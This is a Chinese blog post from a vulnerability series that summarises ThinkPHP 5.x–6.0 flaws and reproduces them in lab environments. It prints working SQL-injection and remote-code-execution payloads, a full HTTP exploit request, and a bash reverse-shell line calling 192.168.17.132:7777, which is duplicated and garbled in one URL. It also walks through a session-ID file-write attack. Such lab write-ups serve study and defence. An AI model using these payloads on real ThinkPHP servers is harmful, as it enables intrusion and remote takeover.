框架、组件漏洞系列5:tthinkPhp漏洞汇总

本文详述了ThinkPHP框架从5.0到6.0版本的多个安全漏洞,包括SQL注入、远程命令执行及任意文件操作。分析了漏洞原理、复现过程,并给出了相关漏洞的POC。强调了安全防护的重要性,提醒开发者及时更新和加固系统。
摘要由CSDN通过智能技术生成

在这里插入图片描述

一、ThinkPHP简介

基础介绍:

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

近期发布历史:

  • 2015年12月11日,ThinkPHP 5.0 Beta 发布;
  • 2017年02月27日,Thinkphp5.0.5完整版正式发布 [3] ;
  • 2018年05月02日,Thinkphp5.1.0RC版本发布; [4]
  • 2019年04月22日,Thinkphp6.0RC2版本发布 [5] ;
  • 2019年08月16日,Thinkphp6.0RC4版本发布 [6] ;
  • 2019年12月24日,Thinkphp6.0.1版本发布

近期漏洞信息汇总:

  • ThinkPHP 5.x远程命令执行
  • ThinkPHP5.0.9 Sql注入 && 敏感信息泄露
  • ThinkPHP 3.2.3/5.1.22 order by注入
  • ThinkPHP5.0.10 select注入
  • ThinkPHP 5.1.7 update注入
  • ThinkPhp6 任意文件操作漏洞
  • ThinkPHP6.0.x 反序列化漏洞

二、ThinkPHP5.0.9 Sql注入 && 敏感信息泄露

1、漏洞简介

基本原理: 在thinkphp5中,index页面的代码查询,使用了预编译的方法执行SQL,但是在用户输入的ID的值为一个SQL语句的情况下,在预编译执行的某一部会抛出异常,导致SQL注入。不过漏洞比较鸡肋,因为是使用的预编译执行SQL,所以id中输入的sql语句在执行时并不能接触数据,所以只能执行系统函数如use()等来查询数据库信息,而不能爆出数据库数据。

漏洞分析: 详见https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

2、漏洞复现

复现环境: vulhub docker -->thinkphp in-sqlinjection

  1. 访问docker搭建的环境,输入url为:index.php?ids[]=1&ids[]=2, 显示用户名信息表示环境创建成功。

    在这里插入图片描述

  2. 访问index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,成功爆出信息。

    在这里插入图片描述

    3、爆其他数据库信息,比如database(),version()等。

    在这里插入图片描述

三、ThinkPHP 5.x远程命令执行

1、ThinkPHP 5.0.23 RCE漏洞

1)漏洞概述

漏洞原因:

由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行

影响范围: Thinkphp 5.x-Thinkphp 5.1.31,Thinkphp 5.0.x<=5.0.23

漏洞POC:

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

漏洞分析: 详见大佬文章 https://www.cnblogs.com/sysadmin32/p/15005722.html

2) 漏洞复现
  1. 使用docker搭建漏洞环境,访问8080端口的index.php,返回如下界面说明楼哦对那个环境搭建成功。

    在这里插入图片描述

  2. 在当前也抓包,改请求内容为POC内容,成功执行id命令。

    在这里插入图片描述

  3. 执行命令反弹shell。

    在这里插入图片描述

2、 ThinkPHP 5.0和5.1全版本任意代码执行漏洞

1)漏洞概述

漏洞原理:

控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法。

影响范围: ThinkPHP 5.0.x,ThinkPHP 5.1.x

漏洞payload:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

详细分析: https://xz.aliyun.com/t/3570

2) 漏洞复现
  1. 照常,开启漏洞环境之后访问index.php,出现如下界面说明环境搭建成功。

    在这里插入图片描述

  2. 在URL中执行poc,成功返回phpinfo信息。执行成功。

    在这里插入图片描述

  3. 执行新的payload,直接执行命令,反弹shell.

    payload: /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash%20-i%20>%26%20/dev/tcp/192.168.17.132/7777%200>%261

    执行效果: 成功f反弹shell.

    在这里插入图片描述

四、ThinkPHP6 任意文件操作漏洞

1、漏洞概况

漏洞简介:

2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建以及删除任意文件,在特定情况下还可以getshell。

影响范围: ThinkPHP6.0.0-6.0.1。

漏洞分析: 知乎-安全祖师爷

2、漏洞复现

复现环境:谜团在线靶机

访问目标环境,是经典的thinkphp首页,我们先用burpsuite抓包看看:

在这里插入图片描述

可以发现,Cookie字段确实存在PHPseeeionID,漏洞点成功get.

根据漏洞详情,只要我们控制sessionid的长度为32位,就能够成功创建文件。不过此处需要注意一个问题,就是默认创建的文件存放于/runtime/session文件夹下面的,默认是访问不到的 ,不过我们可以通过路径穿越的方式来绕过限制,访问我们创建的文件。

如下步骤,我们通过两个步骤来创建并写入内容:
在这里插入图片描述

然后我们访问我们创建的文件,发现成功创建,写入并执行了phpinfo:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值